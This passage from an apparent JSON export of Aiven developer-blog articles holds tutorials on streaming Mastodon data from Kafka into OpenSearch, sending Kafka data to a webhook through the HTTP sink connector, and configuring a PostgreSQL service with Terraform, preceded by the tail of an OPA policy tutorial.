add\n\n1. test that Aiven project name must contain team name\n2. test that Aiven service name must contain app name\n\nIf you need a hint or two, take a look at the [solutions](https://github.com/Aiven-Labs/terraform-policy-tutorial/tree/main/solutions).\n\n## Great job helping Rapu succeed\n\nLet's look at all the things Rapu has accomplished on his first project at Crab, Inc.\n\n- Created an Aiven Terraform file\n- Converted the Terraform plan into binary \n- Converted the binary output into JSON \n- Created a Rego policy to verify the resource configuration\n- Tested our Rego policy on our local CLI\n- Cleaned up our Rego policy by moving hard coded data to a data file\n- Wrote addition policies to very more specifics of the resources\n- Added unit tests for each of our policies\n\nThanks for spending the time learning with us today. Here are some additional resources to help you learn about the tools in this tutorial.\n\n- [Aiven Docs](https://docs.aiven.io/)\n- [Terraform Docs](https://developer.hashicorp.com/terraform/docs)\n- [Rego Playground](https://play.openpolicyagent.org/): The Rego playground is available to interactively test your rego policies\n- [Open Policy Agent Docs](https://www.openpolicyagent.org/docs/latest/)\n\n\nIf you have any question on this tutorial, please check out the FAQ page, ask on [Aiven community forum](https://aiven.io/community), or [raise an issue](https://github.com/Aiven-Labs/terraform-policy-tutorial/issues). ","feature":{"_type":"featuredItem","active":false,"endDate":"2023-07-12T09:35:30.731Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"8a96e5958a94","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-07-05T09:34:14.809Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a6f7994395c39b4e43197c774609bd2f6cbadfd7-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/enforce-fine-grained-policy-control-across-your-data-infrastructure-with-opa-terraform"},"subtitle":"Use Open Policy Agent, an open source project and Terraform to control how your organization creates resources in development and production","tags":[{"_key":"5471ae55945f","_ref":"7333c82f-1b90-44a0-b6dc-8a4cd4fa5387","_type":"tag"},{"_key":"3183698ba0b0","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"a8eb89df4837","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"62890a436e9e","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Enforce fine-grained policy control across your data infrastructure with Open Policy Agent and Terraform"} {"__i18n_lang":"en","_createdAt":"2023-03-17T15:49:44Z","_id":"f29128d2-91e5-45f0-8e91-159edef4b7a0","_rev":"ZgPiUE9lJ1tcRKuFnakEov","_type":"devArticle","_updatedAt":"2024-07-11T14:16:29Z","body":"In an earlier article we talked about [how to stream data from the Mastodon timeline into an Apache Kafka® cluster](https://aiven.io/developer/mastodon-kafka-js). If you missed it, read it to learn how to connect to Mastodon and stream data into an Apache Kafka topic. This article assumes that you already have an Apache Kafka environment running with data in a topic that is called **Mastodon**.\n\nHaving magnitudes of data that is coming non-stop from a source (Mastodon timeline in our case!) brings us a new challenge - how to make sense of all this data? For instance, you may want to observe trends, search for particular entries, or filter and aggregate data to understand it.\n\nThe biggest advantage of bringing data into an Apache Kafka topic is that Apache Kafka provides a convenient mechanism to plug in other applications and reuse data for such cases as analytics, visualisations, metrics or long term storage. This all can be achieved with Apache Kafka® Connect with almost no code involved.\n\nWhen talking about tools for search, aggregations and visualisations, a great place to start is OpenSearch®. OpenSearch is an open source search and analytics suite that has a powerful visual interface to work with data. It is straightforward to set up and start using, so why not let OpenSearch analyse the data coming from Mastodon?\n\nTo give you a visual picture, below is the architectural diagram connecting all the building blocks used in the previous article and the ones we will add in the current one:\n\n![A diagram that visualises two steps of data transport. The first step (described in detail in the previous article) is bringing data from a Mastodon public feed into an Apache Kafka topic using the Mastodon API, masto.js and node-rdkafka. The second step (described in this article) is using an OpenSearch sink connector into OpenSearch.](https://cdn.sanity.io/images/sczeoy4w/production/72da79c6890109a268bbdc727f12f7fa6656bf4e-2000x818.png)\n\n\nIn this post you will learn how to reuse the data you have in Apache Kafka with OpenSearch for visualisations and aggregations.\n\n## Set up OpenSearch\n\nBoth Apache Kafka and OpenSearch are available in the Aiven platform, so not only can you run them side by side, but also you can use a managed OpenSearch sink connector that connects these services.\n\nCreate an [Aiven for OpenSearch](https://aiven.io/opensearch) service from [Aiven Console](https://console.aiven.io/) (read more about [OpenSearch in Aiven docs](https://aiven.io/docs/products/opensearch.html)). \n\nOnce your service is created, make a note of the connection settings, you'll need them in the next section.\n\n## Use Kafka Connect to bring Apache Kafka and OpenSearch together\n\nThe easiest way to connect Apache Kafka with other tools is to use one of the already available connectors. Conveniently, there is [an open-source sink connector for OpenSearch](https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink.html) that you can use out of the box. \n\nTo add connectors to the running Apache Kafka cluster, [enable **Apache Kafka Connect**](https://aiven.io/docs/products/kafka/kafka-connect/howto/enable-connect) in your Aiven for Apache Kafka service or [consider using a standalone Apache Kafka Connect service](https://aiven.io/docs/products/kafka/kafka-connect/howto/best-practices#consider-a-standalone-apache-kafka-connect-service\u003e`). \n\nNavigate to the **Connectors** tab to create a new connector. In the long list of available options, select **OpenSearch sink**. \n\n![Select OpenSearch sink from the list of connectors](https://cdn.sanity.io/images/sczeoy4w/production/181e82a6335777d8ff07bf50fdf8f450bcff811c-2000x499.png)\n\nIn the configuration page you can either enter properties manually, or speed it up by using a JSON object for connector configuration. Open the JSON editor by clicking on the pencil icon next to the connector configuration.\n\n![Screenshot showing location of the button to edit connector configuration](https://cdn.sanity.io/images/sczeoy4w/production/6c531762372c6435d0e0175c32c1b66721b0ed2e-1472x577.png)\n\nBelow is an example of the configuration properties needed for the connection. Replace `YOUR_OPENSEARCH_HOST`, `PORT`, `YOUR_SERVICE_USER` and `YOUR_SERVICE_PASSWORD` with values taken from your OpenSearch service. These are the connection properties you saw when you created the Aiven for OpenSearch service.\n\n```json\n{\n \"name\": \"sink_mastadon_json\",\n \"connection.url\": \"https://YOUR_OPENSEARCH_HOST:PORT\",\n \"key.ignore\": \"true\",\n \"connector.class\": \"io.aiven.kafka.connect.opensearch.OpensearchSinkConnector\",\n \"connection.username\": \"YOUR_SERVICE_USER\",\n \"schema.ignore\": \"true\",\n \"tasks.max\": \"1\",\n \"connection.password\": \"YOUR_SERVICE_PASSWORD\",\n \"key.converter\": \"org.apache.kafka.connect.storage.StringConverter\",\n \"value.converter\": \"org.apache.kafka.connect.json.JsonConverter\",\n \"topics\": \"mastodon\",\n \"value.converter.schemas.enable\": \"false\"\n}\n```\nIf you want to know more about the available options, check [the documentation for the OpenSearch sink Kafka connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink.html) .\n\nOnce you define the values, copy this data to the Apache Kafka connector configuration and press **Apply**.\n\nClick to create the connector and wait for the status to be changed to **RUNNING**, at this point the data is flowing to OpenSearch. If there are any issues during the connection, you'll see an error message, and more information will be available in the logs.\n\nNow the data from your Apache Kafka topic is sinking into the OpenSearch index. The default name of this newly-created index in OpenSearch is the same as the Kafka topic name.\n\nTime to look at the data in OpenSearch with the help of [OpenSearch Dashboards](https://opensearch.org/docs/latest/dashboards/index/\u003e)!\n\n## Log in to OpenSearch Dashboards\n\nTo see the data in OpenSearch, open OpenSearch Dashboards using the **Host**, **User** and **Password** details from the \"OpenSearch Dashboards\" tab in the web console.\n\nOnce you're logged in, create an index pattern for Mastodon. An index pattern is a view for one or more indices that will be used together for aggregation. We have just one index, you can leave it as either `Mastodon` or `Mastodon*`. Use `CreatedAt` as the time field and you'll be able to filter your data by time. \n\n![Screenshot of creating an index pattern in OpenSearch](https://cdn.sanity.io/images/sczeoy4w/production/911aff6bd3dda8ba22019134a4da2badd1af9396-2000x911.png)\n\n## Start by explore data with the Discover panel\n\nWhen you don't yet know much about the data, [the discover panel](https://opensearch.org/docs/latest/dashboards/discover/index/\u003e) is a great place to start. Here you can either view complete data objects, or choose specific properties you're interested in. \n\n![Screenshot of discover panel](https://cdn.sanity.io/images/sczeoy4w/production/ad87bf32d0cbcc36841ed1c34164979b6ff5bb40-2000x1098.png)\n\nYou can also filter, search and even look at pre-created visualisations for each of the available fields.\n\nFor example, if we are only interested in messages that include polls, add a filter to show only those records that have `poll.id` defined.\n\n![Screenshot of settings to see if a poll.id property exists](https://cdn.sanity.io/images/sczeoy4w/production/1438e4d5dacee09926dffa0f1f35640a52b84352-1259x728.png)\n\nOnce you apply the setting, you can see the latest polls.\n\n![Screenshot of different found polls](https://cdn.sanity.io/images/sczeoy4w/production/43da1135fe26b69ad3efd724f874352c739434fd-2000x1135.png)\n\nWhat is interesting, however, is that if you look at `poll.voterCount`, the vast majority of polls don't get any voters. It seems that opinion polls are not always popular on Mastodon.\n\n## Create visualisations for aggregations\n\nThe discover panel is fun, but you might want to define a specific aggregation and visualise the result. OpenSearch Dashboards has a variety of options for this. Look at the list of available visualisations. Each of them comes with a set of properties to shape the targeted aggregation. Here are a couple of examples:\n\n### Tag clouds\n\nTo quickly see what tags are popular for the latest messages you can use **a tag cloud**. Create a new bucket, set **Aggregation** to `terms` and **tags** to `tags.name.keyword`. To get more tags in your cloud, increase the **size** property.\n\n![Screenshot of creating a tag cloud](https://cdn.sanity.io/images/sczeoy4w/production/acb704ddb30bd2e2f01c782db6634ec117eb3264-892x1224.png)\n\nClick `Update` and you'll see a tag cloud of the most popular Mastodon hashtags.\n\n![Tag cloud visualisation](https://cdn.sanity.io/images/sczeoy4w/production/745d5470a4833e2258b9c2826471eb11a47a105a-1480x894.png)\n\nIf you're thinking which Mastodon tag is best to follow, search for some keywords and see what tags pop up. If you're a dog lover, apply the `content:dog` filter to see which tags have dog-related content 🐕.\n\n### Bar visualisations\n\nBar visualisations are useful to compare different values. To compare median values for the number of followers vs following users across accounts that posted the latest messages, create a horizontal bar visualisation.\n\n![Screenshot showing that the median of followers is higher than the median of following people](https://cdn.sanity.io/images/sczeoy4w/production/fa6d3ee64b3dc3c3f0a9400796c9e1c32ea01996-2000x917.png)\n\n### Table\n\nIf you're curious to know which users have the most followers, create a table to show information about the accounts with the highest number of followers.\n\n![Screenshot showing most popular users](https://cdn.sanity.io/images/sczeoy4w/production/3ecffe6cd535abc5f3d38a2f6a2a79db4a5967dc-2000x692.png)\n\n## Organise visualisations in a dashboard \n\nOnce you have multiple visualisations, you can combine them into a dashboard. A dashboard will allow you to apply time constraints and filters to multiple visualisations at once. \n\n![Screenshot showing a dashboard with visualisations of data for the last 15 minutes](https://cdn.sanity.io/images/sczeoy4w/production/ae83e1f0efe47243a8a08ee81899144a23385426-2000x913.png)\n\nThe default time span is the last 15 minutes. If you can't see any data on your dashboard, make sure that you have recent data, or use the time field to apply a specific time span.\n\n## Find more uses for your data\n\nApache Kafka Connect offers enormous power to connect multiple systems together by creating data pipelines. In this example you saw how you can bring the data from an Apache Kafka topic to OpenSearch with no code needed. Our goal was to aggregate and visualise the data, which is why we used OpenSearch. In your own scenario, you might want to collect data from an Apache Kafka topic to [sink it to a different database](https://aiven.io/docs/products/kafka/kafka-connect.html#sink-connectors), or [an object store such as S3](https://aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-connector-aiven.html), or [put it into ClickHouse® for long term storage and analytics](https://aiven.io/docs/products/clickhouse/howto/integrate-kafka.html).\n\n[Tell us](https://twitter.com/aiven_io) what you are building, what connectors you use, and which ones we should add next!\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-24T15:49:15.406Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"b3c217173a7b","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-02-23T09:20:00.000Z","seo":{"_type":"metaData","metaDescription":"Follow our step-by-step instructions to learn how to reuse the data you have in Apache Kafka with OpenSearch for visualisations and aggregations.","metaImage":{"_type":"mainImage","alt":"The words \"Explore real-time Mastodon data with Apache Kafka® and OpenSearch®\", on a blue background, with the Aiven crab logo at the bottom left","asset":{"_ref":"image-58a752ce07c3728d6ddf2531e7710451aa2581e2-1567x844-jpg","_type":"reference"}},"metaTitle":"Analyzing Mastodon with Kafka and OpenSearch"},"slug":{"_type":"slug","current":"/developer/mastodon-kafka-opensearch"},"subtitle":"Mastodon → Apache Kafka® → OpenSearch® → knowledge","tags":[{"_key":"c695b62f17e9","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"7b23a8f11dd6","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"20b09e7626ec","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"49713d33ef53","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Social search in real time: Exploring Mastodon data with Apache Kafka® and OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2023-03-24T14:19:54Z","_id":"bcf57de4-6697-4db2-bb66-a414779f57a5","_rev":"ZLvKaZvfbZlWBlGcpIqE5X","_type":"devArticle","_updatedAt":"2024-01-29T15:48:46Z","body":"There are many reasons why Apache Kafka®️ is such a powerful tool, and an important one is the extensive selection of ready to run connectors that can bring data in or out of Apache Kafka and connect it to any of the other components in your system. \n\nOne of the best connectors available is the [HTTP sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/http-sink.html) because it's so adaptable. Today we'll use an HTTP Connector to send the data from a Kafka topic to any HTTP endpoint, giving you an easy way to integrate your data with your own code or any platform that supports webhooks. This lets you send your data to places there might not be a prebuilt connector for!\n\n## What we'll build\n\nAll data platforms are more fun when they have actual data in them, and some way to see what's happening. In this post we'll use:\n\n* Aiven's [Fake Data Producer](https://github.com/aiven/python-fake-data-producer-for-apache-kafka)\n* Aiven for Apache Kafka®\n* Aiven for Apache Kafka Connect®\n* [Hookdeck](https://hookdeck.com/) \n\nThe fake data producer generates and sends data to an Apache Kafka topic, Kafka Connect consumes the data and sends it over HTTP to a webhook endpoint. Hookdeck is a tool we'll use in this demo to mock a webhook.\n\n## Prerequisites\n\nYou will need:\n * An Aiven account - [sign up for the free trial](https://console.aiven.io/signup) if you don't have one already.\n * A Hookdeck account - [register for an account](https://dashboard.hookdeck.com/signup), the free plan is plenty for our purposes.\n * Python so that you can run the data producer.\n\n## Start at the end(point)\n\nStarting at the end seems counterintuitive, but by setting up the webhook endpoint now, we have the URL available when we configure the other parts of the setup.\n\nGo to your [Hookdeck dashboard](https://dashboard.hookdeck.com/), and create a new connection.\n * Create a new source and give it a name, for example `kafka-aiven`.\n * Create a new destination with **Mock API** as the type. Name it something more meaningful than `mock-endpoint`.\n * Choose the default ruleset.\n\n![Hookdeck connections screen with a webhook URL linked to a mock API](https://cdn.sanity.io/images/sczeoy4w/production/43266c6c979a8101d976cd00fb40c30561178f3e-1440x701.png)\n\nYour connection should now be set up, showing that requests to the `kafka-aiven` URL will be sent to the `mock-endpoint`.\n\nCopy the webhook URL from the source box, and put it somewhere safe. We need this later.\n\n\u003e If you're already curious about the webhook feature, you can paste the URL into your browser and see the request arrive in the dashboard on Hookdeck.\n\n## Create and configure Apache Kafka\n\nVisit the [Aiven Console](https://console.aiven.io), and choose or create a project.\n\nClick **Create service** and add the first service, Apache Kafka. Choose a cloud and region: a `business-4` plan size in your region is a good option, as the startup plan sizes are a little underpowered for connectors. We'll stop the services at the end of this post, so don't worry about running up a bill. Give your service a name, for example `kafka-demo`.\n\nWhile the service is building, we can configure it:\n* On the service overview page, enable the **Apache Kafka REST API (Karapace)** slider. This gives us a web interface to inspect and produces messages when we're working on this project.\n* In the **Topics** tab, select **Add topic** and create a topic to send data to. Give your topic a memorable name, like `user_activity` if you'll be sending user data to the topic. We'll need this topic name later to configure the connector. \n\nWith the streaming data platform in place, the next step is to add the connector to bring the data to another platform.\n\n## Create and configure the HTTP sink connector\n\nClick **Set up integration** and choose Apache Kafka Connect. Select the option to create a new service and again give your connect service a name such as `kafka-demo-connect`. Choose the same cloud and region to ensure the service is speedy. Pick a plan size such as `business-4`. When you're happy with your choices, select **Create and enable**, and your service will start building.\n\nFrom the service overview page of your Apache Kafka service, go to the **Integrations** tab, and click on the Kafka Connect service. In the **Connectors** tab, click **Create connector**. Pick the HTTP sink connector from the list.\n\nThis was the fun part, next is the tricky bit: configuring the connector. Here are the settings you need, by section:\n\nIn the **Common** tab:\n\n* **Connector name**: `kafka-to-http` would work, or a name that fits your project.\n* **Topics**: Set to `user_activity`, the topic we created earlier in this post.\n* **Key** and **Value**: Use the values ending in `StringConverter` for both fields.\n\nIn the **Connection** tab, input information about the HTTP endpoint we're sending data to:\n\n* `http.url`: the URL of the Hookdeck endpoint we created.\n* `http.authorization.type`: `none` (warning: the value is case-sensitive).\n* `http.headers.content.type`: `application/json`. We'll be using JSON data in our sample data payloads later.\n\n![HTTP Sink connector configuration, with the fields filled in and visible](https://cdn.sanity.io/images/sczeoy4w/production/6e51bfa5d9a9d25701a50fa2a3ecf476df82457c-1440x701.png)\n\nOnce everything is in place, click **Create connector** to bring your ideas to life.\n\n\u003e If you see errors when setting up the configuration, go to the **Logs** tab of your Kafka Connect and Apache Kafka services for more detail.\n\nEverything is set up, all we need now is data!\n\n## Test with a single message\n\nTo test that our Apache Kafka connection to Hookdeck is configured correctly, let's send a single message. We enabled the Karapace REST features earlier, so we can do this through the Aiven web interface. If you have a favourite Kafka client, feel free to use that instead (we have [docs for some cool Kafka tools here](https://aiven.io/docs/products/kafka/howto/list-tools.html)). \n\nIn the **Topics** tab, click the three dots icon on the right hand side for the topic you created earlier such as `user_activity`, then click **Produce message**.\n\nThis defaults to JSON, so the only thing to do is add some Value data (the key isn't needed). You can send any valid JSON, but here's some test data to use if you'd like:\n\n```json\n{\n \"user_id\": 4,\n \"behavior\": \"buy\"\n}\n```\n\nClick **Produce**. You can inspect the messages on the topic by with the **Fetch messages** button. If you set the Format dropdown to JSON and then fetch, the messages come through as JSON.\n\nThe message is in our topic, but did the connector send it over to Hookdeck? Visit the [Hookdeck requests dashboard](https://dashboard.hookdeck.com/requests) and check that your message arrived.\n\nProducing one message at a time is hard work! Adding a data generator lets us see the connector in action.\n\n## Produce sample user data to the Apache Kafka topic\n\nTo see the connector performing its work, get Aiven's [fake data producer](https://github.com/aiven/python-fake-data-producer-for-apache-kafka) to give us something to look at.\n\nClone the [GitHub repository](https://github.com/aiven/python-fake-data-producer-for-apache-kafka) and install the dependencies with:\n\n```bash\npip install -r requirements.txt\n```\n\nTo connect to our Aiven for Apache Kafka service, we'll need to download the certificates to a directory called `certs/` in the newly-cloned project. Create the directory, then visit the Service overview page of the Apache Kafka service (note: not the Kafka Connect service) and download each of:\n\n* Access Key\n* Access Certificate\n* CA Certificate\n\nPlace all three files in the `certs/` directory.\n\nCopy the Host and Port values from the same Service overview page, to the `$HOST` and `$PORT` values in the command below. You can also configure `--topic-name` for which topic to use, `--nr-messages` for how many messages to send, and `--subject` for the type of sample data to be generated; I'm using `userbehaviour` to get some sample user website data, and you can find out about the alternatives on the project `README`. Run this from the root of the cloned project to send data into the topic:\n\n```\npython main.py \\\n --security-protocol ssl \\\n --cert-folder certs/ \\\n --host $HOST \\\n --port $PORT \\\n --topic-name user_activity \\\n --nr-messages 10 \\\n --max-waiting-time 0 \\\n --subject userbehaviour\n```\n\nIf everything went well, the [Hookdeck requests dashboard](https://dashboard.hookdeck.com/requests) shows the ten sample data messages have arrived as HTTP requests.\n\n![Sample data requests in the Hookdeck dashboard](https://cdn.sanity.io/images/sczeoy4w/production/62da093e059b5b2a353e386149b4fdeecdc790a7-1440x701.png)\n\nThe data from the producer was sent to the topic, picked up by the connector and sent out as a webhook, and received by Hookdeck over HTTP.\n\n## HTTP connector is full of possibilities\n\nHTTP is the universal data adapter: in this tutorial, using an HTTP sink gets your data from Apache Kafka and sends it somewhere that there isn't a Kafka Connector available for. You can send a webhook to any web endpoint, either in your own application or in another platform such as [Zapier](https://zapier.com/), then the webhook can trigger another event or make an easy integration with another platform.\n\nIn this example, Hookdeck was an excellent place to send the webhook to. It is a powerful gateway for webhooks whether using the mock server feature to inspect the requests as we did here, or using it to pass traffic either onwards to your application, or securely to a local development platform.\n\nThe HTTP sink connector is just one of the wide selection of connectors available for Apache Kafka, so take a look at the [list of connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins) and decide which one to try next!\n\n## Before you go: turn off services you don't need\n\nAs a final tip: if you have finished with the services you used, then it's good practice to power down or remove things you don't need. This avoids running up bills, or using up your trial credit.\n\nFor each of your Aiven services, visit the service overview page and either:\n* \"Power off service\" if you want to use it again, but don't need it now\n* \"Delete service\" if you don't plan to use these services again\n\n## Related resources\n\nSome handy links to the tools used in this post and resources showing how to use them.\n\n* Aiven's documentation for the [HTTP sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/http-sink.html)\n* The excellent open source [Python Fake Data Producer](https://github.com/aiven/python-fake-data-producer-for-apache-kafka)\n* [Hookdeck](https://hookdeck.com) which provided a soft landing and a nice web interface for our webhook data\n* A more detailed [blog post about producing fake data](https://aiven.io/developer/create-your-own-data-stream-for-kafka-with-python-and-faker) to give you more data ideas\n* More about [Aiven for Kafka Connect and a list of connectors](https://aiven.io/docs/products/kafka/kafka-connect.html)\n* [How to use your own connector with Aiven for Apache Kafka](https://aiven.io/docs/products/kafka/kafka-connect/howto/bring-your-own-kafka-connect-cluster.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T13:19:48.253Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"f3d0eb5d2dd0","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-01-26T12:37:00.000Z","seo":{"_type":"metaData","metaDescription":"Let your data flow with the Apache Kafka®️ HTTP sink connector. In this tutorial, we show you step-by-step how it's done. Get informed in our Aiven blog!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ec4f7f7697116f749e26449e8bd300c7b431f46e-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-webhooks-http-sink"},"subtitle":"Let your data flow with the Apache Kafka®️ HTTP sink connector","tags":[{"_key":"cbc7dce2962d","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"02e906278234","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Webhook data from Apache Kafka®️ to the world"} {"__i18n_lang":"en","_createdAt":"2023-08-21T13:53:37Z","_id":"ff85cd05-423b-4aef-99b2-ddb3079bc75c","_rev":"lhvtNBOlLYH5KiQFQ8ZUvl","_type":"devArticle","_updatedAt":"2024-01-29T15:49:06Z","body":"PostgreSQL® is a popular choice as an open source, relational database to run in production. This example shows how to use Terraform to create a single PostgreSQL service in a single cloud and region with some custom configurations applied to the service.\n\nThe following image shows that the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) calls the Aiven API under the hood to create an [Aiven for PostgreSQL®](https://aiven.io/postgresql) service on the Google Cloud Platform (Europe):\n\n:::mermaid\n\n flowchart LR\n id1[[Terraform]]\n id2\u003eAiven Terraform Provider]\n subgraph Aiven Platform\n id3[(Aiven for PostgreSQL)]\n end\n id1 --\u003e id2 --\u003e id3\n:::\n\n\nThe following sample Terraform script stands up the single PostgreSQL service with some custom configurations. \n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started)\n to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name``, ``api_token``, ``admin_username``, and ``admin_password``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n \nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n\nvariable \"admin_username\" {\n description = \"Your preferred username for the PostgreSQL service\"\n type = string\n}\n\nvariable \"admin_password\" {\n description = \"Your preferred password for the PostgreSQL service\"\n type = string\n}\n```\n\n The ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\nadmin_username = \"\u003cYOUR-PREFERRED-SERVICE-USERNAME\u003e\"\nadmin_password = \"\u003cYOUR-PREFERRED-SERVICE-PASSWORD\u003e\"\n```\n\n## Services.tf file\n\n``services.tf`` file:\n\n```toml \nresource \"aiven_pg\" \"pg\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"startup-4\"\n service_name = \"my-pg1-gcp-eu\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n termination_protection = true\n\n pg_user_config {\n pg_version = 14\n backup_hour = 01\n backup_minute = 30\n shared_buffers_percentage = 40\n\n ip_filter_string = [\"0.0.0.0/0\"]\n admin_username = var.admin_username\n admin_password = var.admin_password\n\n ## project_to_fork_from = \"source-project-name\" \n ## service_to_fork_from = \"source-pg-service\" \n ## pg_read_replica = true \n\n pg {\n idle_in_transaction_session_timeout = 900\n log_min_duration_statement = 1000\n deadlock_timeout = 2000\n }\n }\n}\n```\n \n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nWhen running a database in production, there are lots of fine tunings that need to happen. Let's go over some of these optional custom configurations used and understand when to use them. \n\nFirst, you can choose the PostgreSQL version using the ``pg_version`` parameter. A default version is chosen for you if you don't specify the version. ``backup_hour`` and ``backup_minute`` denote the hour and minute of the day (in UTC) when backup for the service is started. In this example, the backup starts at 1:30 AM UTC daily. ``shared_buffers_percentage`` sets the percentage of memory in your system that the database server uses for shared memory buffers.\nTo learn more about these settings, please refer to the PostgreSQL resource consumption docs mentioned under the **More resources** section. \n\nThe ``ip_filter_string`` parameter filters incoming connections based on the mentioned IP addresses. The example of **\"0.0.0.0/0\"** is an allow-all value. \n\nIf there are only specific IP addresses that you'd like to allow for clients, you'd put those IP addresses on this list. When you create an Aiven for PostgreSQL service, the database admin username and password are generated for you. You can set your preferred values by using ``admin_username`` and ``admin_password`` parameters.\n\nIf you wanted this PostgreSQL service to be a read-only replica of an existing PostgreSQL service, you could do that by declaring the ``project_to_fork_from``, ``service_to_fork_from`` and setting the value of ``pg_read_replica`` to **true**. Since the service in this example is not a read-only replica, these configuration lines are commented out.\n\nIf you choose to set ``pg_read_replica`` to **true**, then the custom ``admin_username`` and ``admin_password`` will no longer work because the configurations from the master node will be used.\n \nIf a transaction is waiting for a client query, there might be a time limit after which you want the session to time out. This is exactly what ``idle_in_transaction_session_timeout`` will do for you if you set a limit. Keep in mind that a value of zero, which is the default value, will disable the timeout.\n\nOnce you have some idea of how long a typical query statement should take to execute, ``log_min_duration_statement`` setting allows you to log only the ones that exceed some threshold you set. And then, you'll only see statements that take longer than the specified time to run. This can be extremely handy in finding the source of outlier statements that take much longer than most to execute.\n\nThe ``deadlock_timeout`` is the amount of time that PostgreSQL waits on a lock before it checks for a deadlock condition. The deadlock check is an expensive operation, so it is not run every time the server waits for a lock. The default is one second, but this can be increased for heavily loaded servers. All of these times are taken as milliseconds if specified without units.\n\n\n## More resources\n\nTo learn how to get started with Aiven Terraform Provider and specific PostgreSQL configurations for you use case, check out the following resources:\n\n- [What is PostgreSQL®](https://aiven.io/blog/an-introduction-to-postgresql)\n- [Configuration options for PostgreSQL](https://aiven.io/docs/products/postgresql/reference/list-of-advanced-params.html)\n- [PostgreSQL Resource Consumption](https://www.postgresql.org/docs/current/runtime-config-resource.html)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-28T13:53:34.245Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"00de3cbdfb9a","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-6ca03bbf6a0718a2a097dad4c4a4316c109faca5-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/postgresql-custom-config-terraform"},"subtitle":"Set up a Aiven for PostgreSQL® database with configurations defined in Terraform. A part of Aiven's Terraform 